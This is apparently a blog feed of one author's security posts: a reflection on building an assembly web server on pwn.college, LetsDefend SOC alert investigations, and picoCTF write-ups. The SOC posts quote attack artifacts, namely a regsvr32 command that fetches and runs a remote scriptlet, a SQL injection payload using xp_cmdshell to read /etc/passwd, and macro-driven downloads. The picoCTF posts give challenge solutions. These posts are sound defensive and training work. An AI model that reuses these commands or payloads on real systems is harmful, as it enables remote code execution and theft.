Security Forem: Hitanshu Gedam

How I Learned Syscalls by Building a Web Server on pwn.college

Hitanshu Gedam — Sat, 16 May 2026 14:43:55 +0000

From Zero to Web Server

No full solutions here. Just the journey, the lessons, and the honest truth.

A Note on Learning (and Honesty)

Before I go any further: I'm not going to paste my solutions in this post.

pwn.college is a learning platform. The challenges are meant to be solved, not copied. If I just dumped my assembly code here, I'd be robbing someone else of the chance to struggle, fail, debug, and eventually feel that incredible rush when the checker program finally says PASS.

Also, I want to be completely transparent. Out of the 11 challenges in this module, there were fewer than 5 where I got so stuck that I reached for help from an AI. Not to generate full solutions, but to explain a syscall I didn't understand, or to help me reason through why something was failing. I still wrote every line of assembly myself. And every time I got help, I made sure I understood why the fix worked before moving on.

The rest, the majority, I solved on my own, using strace, gdb, the man pages, and a lot of trial and error.

Why am I telling you this? Because pretending I never needed help would be a lie. Getting stuck is normal. Asking for help, as long as you actually learn from it, is part of the process too. The goal isn't to be "pure." The goal is to understand.

And I understand this material now. That's what matters.

So instead of giving you code, I'm going to tell you what I learned. The concepts. The syscalls. The mistakes. The "aha!" moments. If you're working through the same dojo, this post will point you in the right direction, but you'll still have to do the work yourself.

Before the Web Server

Before I ever wrote a single line of HTTP response in assembly, I had to learn how computers actually work.

pwn.college's Computing 101 dojo isn't gentle. It throws you into the deep end and expects you to swim. Before reaching the "Building a Web Server" module, I completed eight modules in order:

Your First Program (5 challenges), How to make a program exit. Syscall 60, if you're counting.
Computer Memory (7 challenges), Pointers are just numbers. Memory is just bytes.
The Stack (4 challenges), Push, pop, call, ret, how functions really work.
Software Introspection (12 challenges), strace, ltrace, gdb, watching programs from the outside.
Output and Input (6 challenges), read and write are all you need.
Control Flow (7 challenges), Jumps, compares, loops, the logic of everything.
Assembly Assortment (4 challenges), Bitwise ops, shifts, condition codes.
Assembly Crash Course (30 challenges), Pure x86-64 assembly. 30 of them.

Total before the web server: 75 assembly programs.

By the time I reached "Building a Web Server," I had stared at register values until my eyes hurt. I had learned that mov is not a copy, it's a transfer. I had earned the right to be confused, stuck, and then unstuck.

So when I started the web server module, I wasn't starting from zero. I was starting from "I understand the stack, I understand syscalls, I understand that nothing is handed to me."

And I still spent a lot of time on it.

The Web Server Module: 11 Challenges

Here's the journey, what each challenge taught me, without giving away the actual code.

Challenge 1: Exit

What I had to do: Write a program that calls the exit syscall with status 0.

What I learned: Every program needs an exit. The kernel doesn't know you're done unless you tell it. The syscall convention on x86-64 Linux is: syscall number in rax, first argument in rdi, then syscall. That's the foundation everything else builds on.

Where I got stuck: Nowhere on this one. It's the warm-up.

Challenge 2: Socket

What I had to do: Create a TCP socket for IPv4.

What I learned: You can't just write AF_INET and SOCK_STREAM in assembly, those are C macros. You have to find the actual integer values. I learned to grep through /usr/include to find them. Turns out AF_INET is 2 and SOCK_STREAM is 1. The socket syscall returns a file descriptor that you'll use for everything else.

Where I got stuck: Nothing major. But it made me appreciate what C preprocessors actually do.

Challenge 3: Bind

What I had to do: Attach my socket to port 80 so clients could find it.

What I learned: bind takes a pointer to a sockaddr_in structure, 16 bytes of raw memory that you have to construct yourself. I learned what each field means: address family (2 bytes), port (2 bytes in network byte order, big-endian), IP address (4 bytes), and padding (8 bytes). Endianness matters: port 80 (0x0050) becomes 0x5000 when stored in memory.

Where I got stuck: This was my first real wall. I kept getting bind failures because I had the port byte order wrong. strace and the bind man page eventually saved me.

Challenge 4: Listen

What I had to do: Turn my bound socket into a passive listener.

What I learned: A socket created with socket() is "active", it expects to initiate connections. listen() makes it "passive" so it can receive incoming connections. The backlog parameter tells the kernel how many pending connections to queue.

Where I got stuck: I initially forgot that listen needs to be called after bind but before accept. My program hung forever until I looked up the correct order.

Challenge 5: Accept

What I had to do: Wait for a client to connect and get a new file descriptor for that client.

What I learned: accept blocks, it puts your program to sleep until someone connects. That's actually good, the kernel handles the waiting efficiently. When a client connects, accept returns a new file descriptor just for talking to that client. The original listening socket stays open for more connections.

Where I got stuck: I accidentally overwrote my listening socket fd with the client fd and lost the ability to accept more connections. Had to carefully separate my register usage.

Challenge 6: Static Response

What I had to do: Send a fixed HTTP response ("HTTP/1.0 200 OK\r\n\r\n") to any client that connects.

What I learned: This is where assembly stops being abstract. You can't just write printf(...). You have to put those bytes in memory yourself, one byte at a time. I also learned that HTTP uses \r\n for line endings, and a blank line (\r\n\r\n) separates headers from body.

Where I got stuck: Counting bytes. I miscounted the response length and the checker failed me because the response was truncated. Staring at hex dumps fixed it.

Challenge 7: Dynamic Response

What I had to do: Parse the GET request, extract the file path, open that file, read its contents, and send them back.

What I learned: Parsing HTTP manually means scanning byte by byte. Find the space after "GET", find the next space after the path, null-terminate the path string. Then open with O_RDONLY, read the file into a buffer, and write the header plus file contents.

Where I got stuck: Off-by-one errors in finding the spaces. Also forgot to null-terminate the path string at first, so open was getting garbage after the filename.

Challenge 8: Iterative GET Server

What I had to do: Keep the server running after one request, handling multiple clients sequentially.

What I learned: One infinite loop. After handling a client and closing its fd, just jump back to accept. The server stays alive forever. This is called an iterative server, one client at a time.

Where I got stuck: I forgot to close the client fd at the end of the loop. File descriptors leaked and eventually the server couldn't accept new connections.

Challenge 9: Concurrent GET Server

What I had to do: Handle multiple clients at the same time using fork().

What I learned: fork() creates an exact copy of the running process. The parent gets the child's PID; the child gets 0. Parent closes the client fd and goes back to accept. Child closes the listening socket and handles the request. Classic Unix pattern: parent listens, child handles.

Where I got stuck: Figuring out which process closes which file descriptor. Parent should never touch the request. Child should never call accept. Getting this separation right took a few tries.

Challenge 10: Concurrent POST Server

What I had to do: Handle POST requests by extracting the body and writing it to a file.

What I learned: POST requests have a body after the headers. To find it, scan for \r\n\r\n, the blank line that separates headers from body. Calculate body length = total bytes read minus header size. Open the file with O_WRONLY | O_CREAT (flags 1 and 64 combined = 65) and write the body bytes.

Where I got stuck: This was the hardest challenge. The body parsing logic was tricky, scanning for four bytes in a row. I also kept miscalculating the body length. And there was a specific requirement from the checker about closing (or not closing) the client socket that took me a while to discover.

Challenge 11: Web Server

What I had to do: Combine GET and POST into a single concurrent server.

What I learned: Check the first byte of the request: 'G' means GET, 'P' means POST. Branch to the right handler. Both send 200 OK when done. Both run inside fork(). I moved the 200 OK response to the .rodata section so I wasn't rebuilding it every time.

Where I got stuck: Making sure the parent and child didn't step on each other. Clear separation of responsibilities was the key. By this point, I had enough confidence from the previous 10 challenges to put it all together myself.

After the Web Server: Debugging Refresher

After building the web server, I completed Debugging Refresher (8 challenges). This module taught me how to properly inspect what I had built:

strace to trace every syscall my server made to the kernel. Incredibly useful for seeing exactly where something failed.
gdb for breakpoints, stepping through instructions, inspecting registers and memory.
ltrace for library calls (though my server made none, pure syscalls only).

Without debugging skills, assembly is blind. With them, you can see everything.

What I Actually Learned

The most important lesson

I spent a lot of time on these challenges. I don't remember every instruction I wrote. But I remember this: I can figure things out and make them work.

That's not arrogance. That's earned confidence. Before pwn.college, I wasn't sure I could write anything meaningful in assembly. Now I know I can build a concurrent web server from scratch, no libc, no runtime, just me and the kernel.

Once you've done that, everything else feels possible.

What the previous modules gave me

Syscall convention: number in rax, arguments in rdi, rsi, rdx, then r10, r8, r9
Stack discipline: sub rsp, N to allocate, add rsp, N to deallocate
Register preservation: rbx, r12-r15 survive function calls
Debugging: gdb and strace are your eyes into a running program

What the web server module taught me

Socket syscalls create network endpoints
HTTP is just text over TCP, parsed byte by byte
fork() is concurrency, simple, reliable, and ancient
\r\n\r\n is the most important 4-byte sequence in HTTP
File descriptors are just integers, and they get copied on fork()
Nothing is handed to you, but everything is possible

On getting help (the honest version)

Using AI on a few challenges didn't give me the answers, it gave me direction. I still wrote the code. I still understood why it worked. And I made sure I could explain the solution in my own words before moving on.

I think that's the right way to use AI in learning: as a tutor, not a crutch. Ask it to explain a concept, not to write the code for you. The difference matters.

The Full Journey (94 Challenges)

Before the web server (75 challenges):

Your First Program (5)
Computer Memory (7)
The Stack (4)
Software Introspection (12)
Output and Input (6)
Control Flow (7)
Assembly Assortment (4)
Assembly Crash Course (30)

The web server (11 challenges):

Exit → exit syscall
Socket → socket syscall, finding AF_INET and SOCK_STREAM
Bind → bind syscall, manual sockaddr_in, endianness
Listen → listen syscall
Accept → accept syscall
Static Response → hardcoded write, byte-by-byte strings
Dynamic Response → open, read, file serving
Iterative GET Server → infinite loop
Concurrent GET Server → fork
Concurrent POST Server → body parsing, open with O_CREAT
Web Server → GET + POST + concurrency

After the web server (8 challenges):

Debugging Refresher (8)

Total: 94 challenges. One dojo. One working web server in assembly.

If You Build Systems That Actually Matter

I don't know who's reading this. But if you work on operating systems, embedded devices, aerospace or defense software, cybersecurity tooling, or anything where "it just works" isn't good enough, you need "I understand exactly why it works", then you know why this matters.

I built this because I wanted to understand. Now I do.

Try It Yourself

The Computing 101 dojo is free on pwn.college. Start with "Your First Program." See how far you get.

If you get stuck, and you will, don't look for full solutions. Use strace. Use gdb. Read the man pages. Figure it out. That's where the learning happens.

And if you're truly stuck after genuinely trying? Ask for help, but make sure you learn from it. That's what I did.

Acknowledgments

pwn.college and Arizona State University for building this. The checker program for never lying to me. The 75 assembly programs before this one that made it possible. And the AI tutor I asked for help on fewer than 5 challenges, not for answers, but for explanations that unblocked me.

Some resources they recommend:

LiveOverFlow
Ike: The Systems Hacking Handbook
Reverse Engieering tutorial
Architecture 1001 - OpenSecurity2
x86-64 book
A game to teach you x86 assembly and one to stress test your knowledge!
A flowchart of x86 prefix and escape opcodes.
Detailed x86 reference

I built this because I wanted to understand. Now I do.
VENI. VIDI. VICI.
AD MELIORA!

Here's my LinkedIN if you wanna connect!

LetsDefend SOC338 - Lumma Stealer - DLL Side-Loading via Click Fix Phishing

Hitanshu Gedam — Mon, 27 Apr 2026 18:01:11 +0000

This time we are investigating another CRITICAL level alert.

We start with taking ownership of the alert and then head to the Investigation Channel and create a case.

Let's start the playbook:

We start with our instruction to parse email

From: update@windows-update[.]site
To: dylan[@]letsdefend.io
Subject: Upgrade your system to Windows 11 Pro for FREE
Date: Mar, 13, 2025, 09:44 AM
Action: Allowed
SMTP Address: 132.232.40.201
Attachment: No files, but there are URLs present.
Suspicious: Yes, because there were multiple 'Update Now' buttons, indicating a phishing attempt

If we copy the url from the email and look it up on VirusTotal we see the following:

11 out of 91 vendors flag this URL as malicious.

The next question is:

The the alert details, under the Action field, shows the value set to Allowed — confirming that the email was successfully delivered to the recipient.

Our next task is to delete the email

Next we move to the Email Security tab, look for the particular email and delete it.

Next we need to find out if Dylan accessed the malicious URL. We move to
Endpoint Security and see if the URL was accessed

We see that the URL was, in fact, accessed.

Our next step is to contain the host.

The machine is contained.

Our next step is to add the artifacts:

After putting Analyst's notes, we finish the playbook:

Now we close the alert on the monitoring page.

LetsDefend SOC336 - Windows OLE Zero-Click RCE Exploitation Detected (CVE-2025-21298)

Hitanshu Gedam — Sun, 26 Apr 2026 19:18:10 +0000

This is the alert we will be working with.
Let's start with taking the ownership of this alert/

Now let's go ahead to the Investigation channel and create a case for this alert.

Above is the screenshot of what we see on the NIST National Vulnerability Database about the CVE of this alert.
link: https://nvd.nist.gov/vuln/detail/CVE-2025-21298
The severity has a score of 9.8 which means it is CRITICAL.

This vulnerability allows attackers to execute remote code via specially crafted OLE (Object Linking and Embedding) objects without user interaction. Knowing this, I knew I needed to look for unusual child processes spawning from Office applications or script executions.

I went to the Endpoint Security tab and searched for the SMTP IP, looking through the "Processes" logs and here is what I found:

cmd.exe was executed at 08:06:08 AM with Outlook.exe as it's Parent Process which is quite a red flag since an email client is RARELY needed to spawn a command shell prompt
at 08:06:25 AM, cmd.exe spawned regsvr32.exe

Malicious command:

C:\Windows\System32\cmd.exe /c regsvr32.exe /s /u /i:http://84.38.130.118.com/shell.sct scrobj.dll

This command launches Windows Command Prompt to silently run regsvr32 with flags that suppress prompts (/s), unregister mode (/u), and pass a remote scriptlet URL via /i: to scrobj.dll, the Script Component runtime. In practice, this is a well-known “living off the land” technique often called Squiblydoo, where attackers abuse trusted Windows binaries to download and execute malicious code from a remote server while bypassing some application controls. The URL shown (http://84.38.130.118.com/shell.sct) suggests retrieval of a .sct scriptlet named shell.sct, which is highly suspicious and commonly associated with malware payload delivery, persistence, or remote command execution. On a real system, this should be treated as a likely malicious execution attempt and investigated immediately (process tree, network logs, DNS resolution, downloaded content, persistence artifacts, EDR alerts).

I head to Email Security as look for an email from the sender projectmanagement[@]pm[.]me

It contains an attachment named mail.rtf with "infected" as its password.

Now I go to VirusTotal and search the file hash on it

25 out of 61 vendors flag this file as malicious.

Because regsvr32.exe was used to run a remote script and possibly leverage scrobj.dll, the activity strongly suggested an ongoing system compromise. Since the remote payload’s exact functionality was unknown—it could have been a reverse shell, ransomware loader, or command-and-control beacon—the system needed to be isolated immediately.

Following were my answers for the playbook:

Looking at the above screenshot we can see the source IP (internal network) contacted the destination IP which is the SMTP IP in the alert. So, C2 communication did take place

We already contained the affected host.

Artifacts are added:

After adding the Analyst's notes, we finish the playbook:

LetsDefend SOC250 - APT35 HyperScrape Data Exfiltration Tool Detected

Hitanshu Gedam — Sun, 26 Apr 2026 12:15:58 +0000

We start by taking the ownership of the alert.

Next we create case for the alert.

Next step is for us too start the playbook

Before we move ahead, let's search for the file's hash on VirusTotal:

50 out of 70 vendors flag it as malicious, enough for us to conclude that is is.

Next we move on to Endpoint Security to find if the malware was actually running on the infected host, and from the above screenshot we see that it is.

Since the rule says that it was a data exfiltration attempt, the next step is we move on to Log Management and filter the logs with the IP as the filter.
The firewall action saying SUCCESS, means that the firewall allowed it.

This is the screenshot of a log stating a successful logon (EventID 4624) by the source IP 173.209.51[.]54.

I look up the IP address on the Threat Intel tab and find out that it is associated with APT35 CharmingKitten (https://malpedia.caad.fkie.fraunhofer.de/actor/charming_kitten).

This is the IP that was contacted by the host after the program ran.

This IP belongs to the malicious IP

After searching for Arthur's email id (arthur@letsdefend[.]io) in Email Security, there's no traffic.

After checking further in Endpoint Security, we see a program MpCmdRun.exe
which ran the command SignaturesUpdateService with the -ScheduleJob and -UnmanagedUpdate parameters. This means that the file was able to modify the signatures

Let's start the playbook

Analyst's notes:
On December 27, 2023, at 11:22 AM, I identified an alert for suspicious behavior linked to a malicious file (hash: cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa), which VirusTotal confirmed as malicious with a score of 51. Upon investigation, I found that the file executed EmailDownloader.exe, though no associated emails were found in the email security logs. Log analysis revealed a file download at 11:21:48 on the host Arthur, where explorer.exe launched EmailDownloader.exe at 11:21:37, followed by MpCmdRun.exe running SignaturesUpdateService -ScheduleJob -UnmanagedUpdate at 11:38:10. The host was immediately contained with no further compromise, and I recommend blocking the attacker’s IP address and resetting the host’s password.

Now we finish the playbook and close the alert.

LetsDefend SOC287 - Arbitrary File Read on Checkpoint Security Gateway [CVE-2024-24919]

Hitanshu Gedam — Sun, 26 Apr 2026 08:03:32 +0000

We start with taking ownership of the alert.

Our next step is to create a case for starting our investigation.

After we start the playbook

We need to understand why the alert was triggered

We start with examining the rule name SOC287 - Arbitrary File Read on Checkpoint Security Gateway [CVE-2024-24919] and using OSINT to find out more information about the reporte CVE

This is the screenshot of the NIST National Vulnerability database webpage about the above CVE
link: https://nvd.nist.gov/vuln/detail/cve-2024-24919

Description of the CVE:
Potentially allowing an attacker to read certain information on Check Point Security Gateways once connected to the internet and enabled with remote Access VPN or Mobile Access Software Blades. A Security fix that mitigates this vulnerability is available. The base score (severity) of it is 8.6 which is HIGH.

From the description of the alert, we know it was "Allowed".

Our next step is to be collecting data to get a better understanding of the communication traffic.

Above is the screenshot of the Threat Intel tab on LetsDefend after we search for the source IP on it.

This is what we get after we search for the IP and look at its reputation on VirusTotal:

The geolocation of the IP address is Hong Kong.
We can now confirm the traffic is malicious and allowed, with low confidence since 2 out of 94 vendors found it malicious.

Checking the IP's reputation on AbuseIPDB:

Below is what we find on Cisco Talos Intelligence:

link: https://talosintelligence.com/reputation_center/lookup?search=203.160.68.12

The next step for us is examining the HTTP traffic:

This is a POC for the CVE exploit:
https://github.com/un9nplayer/CVE-2024-24919

Let's dive in the logs now.

Looks like our attacker is attempting to navigate the file system of a server to access sensitive files like /etc/passwd and /etc/shadow on Unix-based systems, which contains user account information.

Answer: LFI & RFI

Now we have to check if it is a planned test.
After checking the Email Security tab and searching for the IP addresses and the hostname, we see no such mail regarding a notification of any planned test. We can conclude it is NOT a planned test.

We saw the source IP is an external IP from Hong Kong.
so the traffic is moving from Internet -> Company Network

The attack was successful.

The next step for us is to contain the host.

Based on what we have uncovered during our investigation it would be wise for us to contain this server endpoint to prevent further damages.

Add artifacts:

Here in this case we need Tier 2 escalation

After adding Analyst's notes we finish the playbook and close the alert.

LetsDefend SOC127 - SQL Injection Detected

Hitanshu Gedam — Fri, 24 Apr 2026 16:40:45 +0000

Above is the screenshot of the alert that we are going to investigate.

We start with taking the ownership of the alert and then head to the investigation channel.

Now we create the case for this alert.

The next thing for us to do is starting the playbook.

The next thing I do is copy the url from the Request URL field and head to CyberChef to URL Decode it:

It code looks like a malicious HTTP GET request trying to combine multiple attacks into one command:

SQL Injection (Boolean + Union-Based)
The attacker injects AND 1=1 to confirm the parameter is vulnerable, followed by a UNION ALL SELECT query to extract table_name from information_schema.tables. This aims to enumerate the database schema.
Reflected XSS Payload
The string 'alert("XSS")' is injected into the UNION query. If unsanitized in the HTTP response, it will execute JavaScript in the victim's browser — used for session hijacking.
Command Injection via xp_cmdshell
The attacker calls xp_cmdshell('cat ../../../etc/passwd'), a SQL Server stored procedure that runs OS-level commands. This attempts to read the system's password file, indicating privilege escalation or host compromise. (I looked up the use of the command)
Evasion Techniques Observed
The payload uses --/**/ to break the comment without spaces (bypassing naive WAF rules) and a # at the end to terminate the query early. The 200 OK response suggests the server executed at least part of the request.

The HTTP GET request contains HTTP/1.1 200 865, here the number 200 means that the attack was successful.

We can conclude that it is malicious

We can answer this easily, it is the name of the alert: SQL Injection

We go to the Email Security tab and check for the hostnames and IP addresses and check for any email that may be regarding a planned test, alas we find none.

Next we go to VirusTotal and check the reputation of the Source IP address:

9/94 vendors flag this IP as malicious, so we can say it is malicious, with low confidence.

It was NOT a planned test.

The destination IP is a part of the company network, and the source IP, as we know, is an external IP.
Internet -> Company Network

YES, the attack was successful since we can see the code 200 in the HTTP Request

Now we move on to the containment phase.

Artifacts added:

Do we need Tier 2 escalation? Answer: Yes, since we know the attack was successful.

After adding Analyst's notes, we close the playbook:

Now we close the alert:

True positive alert, malicious HTTP traffic detected and successful on our internal server. Escalation to Tier 2 needed for deeper investigation and forensics

LetsDefend SOC205 - Malicious Macro has been executed

Hitanshu Gedam — Fri, 24 Apr 2026 12:49:55 +0000

Above is the alert we see which is a "Medium" severity alert.

We start with taking the ownership of the alert and start to investigate it.

Next we go ahead to the investigation channel and create the case
for this investigation

The next step for us is to start the playbook.

We look up the file hash on VirusTotal and here is what we find:

We can conclude that the file is malicious since 31 out of 67 vendors have flagged it malicious.

After searching the IP on Log Management tab, we find the following information:

At 8:41 a file named C:\Users\LetsDefend\Downloads\edit1-invoice.docm.zip has been created (EventID 11 - File Created)
User opens the Document and a macro code executes PowerShell command and execute the download of the remote ressource(messbox.exe and save it as mess.exe) at hxxp[:]//www[.]greyhathacker[.]net/tools/messbox[.]exe
PowerShell caused a DNS lookup for the C2 host (92[.]204[.]221[.]16)

We search for the file name on the Email Security tab and find an email that was used to deliver this file to Jayne

From: jake.admin@cybercommunity.info
To: jayne@letsdefend.io
Subject: February Membership Fee
Date: Feb, 28, 2024, 08:12 AM
Action: Allowed

Attachment: edit1-invoice.docm.zip
Password: infected

Since we know that the file is malicious and was executed on the host Jayne, we need to contain that host.

Host is successfully contained.

Defined threat indicator: Other
Check if the malware is quarantined/cleaned: Not quarantined
The malware is: malicious
C2: accessed
Containment is done.

Artifacts added:

Analyst's note added:

`
On February 28, 2024, at 08:42 AM, a user on host Jayne (IP: 172.16.17.198) opened a malicious macro-enabled Word document named edit1-invoice.docm. The embedded macro executed a PowerShell command that attempted to download a remote executable from www[.]greyhathacker[.]net (92.204.221[.]16). This activity was logged by Sysmon and other endpoint telemetry, including DNS queries and script block execution.

Earlier, at 08:12 AM, a phishing email originating from jake.admin[@]cybercommunity[.]info was sent to Jayne, containing the malicious document.

This incident is classified as high severity, as it enabled the download and potential execution of malware. Immediate containment measures included isolating the affected host, preserving relevant artifacts, and defanging the IOCs for safe reporting.
`

PLaybook is now completed:

Now we close the alert.

Letsdefend SOC335 - CVE-2024-49138 Exploitation Detected

Hitanshu Gedam — Tue, 21 Apr 2026 19:06:07 +0000

Take ownership of the alert.

Create case

There is a malicious process named svohost.exe which is named close to svchost.exe. Svchost.exe (Service Host) is an essential Windows system process that loads and manages multiple background services (DLL-based) to save system resources and improve stability.

Weird name for the process user
EC2AMAZ-ILGVOIN\LetsDefend enough to spark doubt and take the alert seriously.

Looking at the file hash, I decided to search for it on Virustotal.

50 out of 72 vendors flag this file as malicious on Virustotal

Moving onto Endpoint security:

This PowerShell script downloads a password-protected ZIP file (service-installer.zip) from a remote S3 bucket to C:\temp, then uses 7-Zip to extract the archive with the password infected into the same directory. After extraction, it deletes the original ZIP file and executes svohost.exe from the extracted service_installer folder. This behavior is highly indicative of malware delivery and execution, as it retrieves a payload from an external source, extracts it using a hardcoded password (often used to evade static scanning), and launches an executable with a name (svohost.exe) that mimics a legitimate Windows process (svchost.exe) to avoid detection.

This is the information from svohost.exe on the endpoint "Victor"

When I search for the affected host's (Victor) IP in Log Management, and run through the logs, I find there have been multiple failed logon attempts targeting the destination's RDP port (port 3389).

EventID 4625 (failed logon)
Error code 0xC000006D (bad username or password)
Attempts for accounts like "admin" and "guest"
Source IP: 185[.]107[.]56[.]141

For successful logon:

EventID 4624 (successful logon)
Logon Type 10 (RemoteInteractive) (typically RDP)
Username: Victor

Next, I search for the source IP 185[.]107[.]56[.]141 in Threat Intel on Letsdefend, and the IP is tagged "Brute Force"

a strong confirmation that the activity was malicious.

EventID: 313
Event Time: Jan 22, 2025, 02:37 AM
Rule: SOC335 — CVE-2024–49138 Exploitation Detected
Alert category: True Positive

For answering the questions of the playbook

I pick the first option because of the command we saw that downloads a malicious file from a remote S3 bucket and then executes svohost.exe. Such behavior is a red flag for outbound connections to Command and Control (C2) infrastructure.

The malware was allowed and not quarantined or cleaned up.

Next we move ahead with analyzing the malware. From the Virustotal scan, we know it is malicious.

In Log Management, the suspicious IP (185.107.56.141) appears in events targeting the host (172.16.17.207) and is also tied to remote access activity, so the malicious address was observed in logs.

Next, we move ahead with containing the affected host.

Adding the artifacts, the malicious sender IP, the MD5 hash of the malicious file (from Virustotal), and the malicious code snippet that was running on the terminal.

Analyst's notes:
I have determined this alert to be a True Positive, as the host Victor (172.16.17.207) executed a suspicious look-alike binary, svohost.exe, from C:\temp\service_installer\ under an unusual user context with powershell.exe as its parent, and the file hash is tagged in Threat Intel with CVE-2024-49138. Log Management reveals that the source IP 185.107.56.141 repeatedly targeted the host over RDP (port 3389), with Windows security events showing multiple failed logons (4625 / 0xC000006D) followed by a successful remote logon (4624, Logon Type 10) from the same IP, indicating a successful brute force attack—further supported by Threat Intel flagging the IP as "Brute Force." Since the device action was logged as "Allowed," real-world containment would require immediate isolation of the endpoint, blocking the malicious IP, quarantining svohost.exe, and resetting compromised credentials.

LetsDefend SOC176 - RDP Brute Force Detected

Hitanshu Gedam — Tue, 21 Apr 2026 17:14:29 +0000

Step 1: I took ownership of the alert to ensure clear accountability throughout the investigation.

Step 2: I created a case for the alert on the investigation channel to centralize all relevant information.

Step 3: I started the incident response playbook to guide my investigation.

Step 4: From the "Log Management" tab, I determined that the source IP is external.

Step 5: I checked the reputation of the source IP address on the following threat intelligence platforms:

Virustotal

AbuseIPDB

Letsdefend TI
Based on the findings from these sources, I confirmed that the source IP address is malicious.

Step 6: I proceeded to traffic analysis.

I observed that port 3389 (RDP) on the destination was under attack. By reviewing the raw logs, I identified Event ID 4625, which corresponds to account logon failure on Windows systems.

Upon investigation, I found that only one unique destination IP (belonging to "Matthew") was attacked. Therefore, my answer to this question is no.

Step 7: I continued managing and analyzing the logs.

These are all failed logon attempts.

I then found one successful logon. This confirmed that the brute force attack was successful.

Step 8: I determined that the compromised device must be isolated immediately, as it can pose a risk to the network.

Step 9: Containment was successfully executed. The device is now isolated.

Step 11: I documented my findings in the analyst notes:

The attack was targeted at Matthew’s machine via RDP from IP 218[.]92[.]0[.]56 using a brute force method. Logs confirmed 14 failed logon attempts followed by a successful logon to the “Matthew” host device, making this a confirmed compromise. Containment was performed to prevent further spread of damage.

Step 12) I finished the playbook

Step 13) I close the alert

picoCTF bloat.py writeup

Hitanshu Gedam — Mon, 22 Sep 2025 14:08:19 +0000

We are given two files and are askedd to run them in the same directory.
I create a ~/tmp directory on pico webshell and wget those two files in it. First, I open the python file to try to understand the code.

This code is obfuscated which makes it difficult for a human to read.

The variable a is given a long string.

I head over to Programiz to find what the first condition is:

It checks for the argument to be equal to the string "happychance", if it is, then it returns True, else it returns "That password is incorrect" and exits with code 0.
I re-wrote python code in a readable format:

a = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ"+ \
            "[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ "
def check(pwd):
  if pwd == "happychance":
    return True
  else:
    print("The password is incorrect")

def decoder(arg444):
  return join_flag(arg444.decode(), "rapscallion")

def getinput():
  return input("Please enter correct password for flag: ")

def open_flag():
  return open('flag.txt.enc', 'rb').read()

def welc():
  print("Welcome back... your flag, user: ")


def join_flag(first_string, second_string):
    second_string_copy = second_string
    i = 0
    while len(second_string_copy) < len(first_string):
        second_string_copy = second_string_copy + second_string[i]
        i = (i + 1) % len(second_string)        
    return "".join([chr(ord(first_string_char) ^ ord(second_string_char)) for (first_string_char,second_string_char) in zip(first_string,second_string_copy)])


opened_flag_binary = open_flag()
pwd = getinput()
check(pwd)
welc()
decoded_flag = decoder(opened_flag_binary)
print(decoded_flag)

I decoded this much and after a while, I thought it was enough since later in the code the functions are being called and the values are getting stored in the variables.

I ran the python file and gave "happychance" as the input, and there I had my flag!

picoCTF RPS writeup

Hitanshu Gedam — Sat, 20 Sep 2025 12:06:55 +0000

We are given a Rock-Paper-Scissors game. I used wget to download the source file onto the webshell. I read the C source code.

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>


#define WAIT 60



static const char* flag = "[REDACTED]";

char* hands[3] = {"rock", "paper", "scissors"};
char* loses[3] = {"paper", "scissors", "rock"};
int wins = 0;



int tgetinput(char *input, unsigned int l)
{
    fd_set          input_set;
    struct timeval  timeout;
    int             ready_for_reading = 0;
    int             read_bytes = 0;

    if( l <= 0 )
    {
      printf("'l' for tgetinput must be greater than 0\n");
      return -2;
    }


    /* Empty the FD Set */
    FD_ZERO(&input_set );
    /* Listen to the input descriptor */
    FD_SET(STDIN_FILENO, &input_set);

    /* Waiting for some seconds */
    timeout.tv_sec = WAIT;    // WAIT seconds
    timeout.tv_usec = 0;    // 0 milliseconds

    /* Listening for input stream for any activity */
    ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
    /* Here, first parameter is number of FDs in the set, 
     * second is our FD set for reading,
     * third is the FD set in which any write activity needs to updated,
     * which is not required in this case. 
     * Fourth is timeout
     */

    if (ready_for_reading == -1) {
        /* Some error has occured in input */
        printf("Unable to read your input\n");
        return -1;
    } 

    if (ready_for_reading) {
        read_bytes = read(0, input, l-1);
        if(input[read_bytes-1]=='\n'){
        --read_bytes;
        input[read_bytes]='\0';
        }
        if(read_bytes==0){
            printf("No data given.\n");
            return -4;
        } else {
            return 0;
        }
    } else {
        printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
        return -3;
    }

    return 0;
}


bool play () {
  char player_turn[100];
  srand(time(0));
  int r;

  printf("Please make your selection (rock/paper/scissors):\n");
  r = tgetinput(player_turn, 100);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }

  int computer_turn = rand() % 3;
  printf("You played: %s\n", player_turn);
  printf("The computer played: %s\n", hands[computer_turn]);

  if (strstr(player_turn, loses[computer_turn])) {
    puts("You win! Play again?");
    return true;
  } else {
    puts("Seems like you didn't win this time. Play again?");
    return false;
  }
}


int main () {
  char input[3] = {'\0'};
  int command;
  int r;

  puts("Welcome challenger to the game of Rock, Paper, Scissors");
  puts("For anyone that beats me 5 times in a row, I will offer up a flag I found");
  puts("Are you ready?");

  while (true) {
    puts("Type '1' to play a game");
    puts("Type '2' to exit the program");
    r = tgetinput(input, 3);
    // Timeout on user input
    if(r == -3)
    {
      printf("Goodbye!\n");
      exit(0);
    }

    if ((command = strtol(input, NULL, 10)) == 0) {
      puts("Please put in a valid number");

    } else if (command == 1) {
      printf("\n\n");
      if (play()) {
        wins++;
      } else {
        wins = 0;
      }

      if (wins >= 5) {
        puts("Congrats, here's the flag!");
        puts(flag);
      }
    } else if (command == 2) {
      return 0;
    } else {
      puts("Please type either 1 or 2");
    }
  }

  return 0;
}

The function of interest here is the play() function. Let’s say int computer_turn = 0, if we look at hands[0], we see that the computer chose ‘rock.’ On this page, I found the strstr() function returns a pointer to the position of the first occurrence of a string in another string. Now, the computer will check if the user input player_turncontains the string that corresponds to loses[0] i.e. ‘paper’.

I tried inputting the string rockpaperscissors 5 times to beat the game and there I found my flag:

picoCTF classic crackme 0x100 writeup

Hitanshu Gedam — Fri, 19 Sep 2025 18:27:29 +0000

We are given a binary file in this challenge and are asked to reverse engineer it. I download it on my windows laptop and decompile it on DogBolt.

I scroll down till I find the main() function:

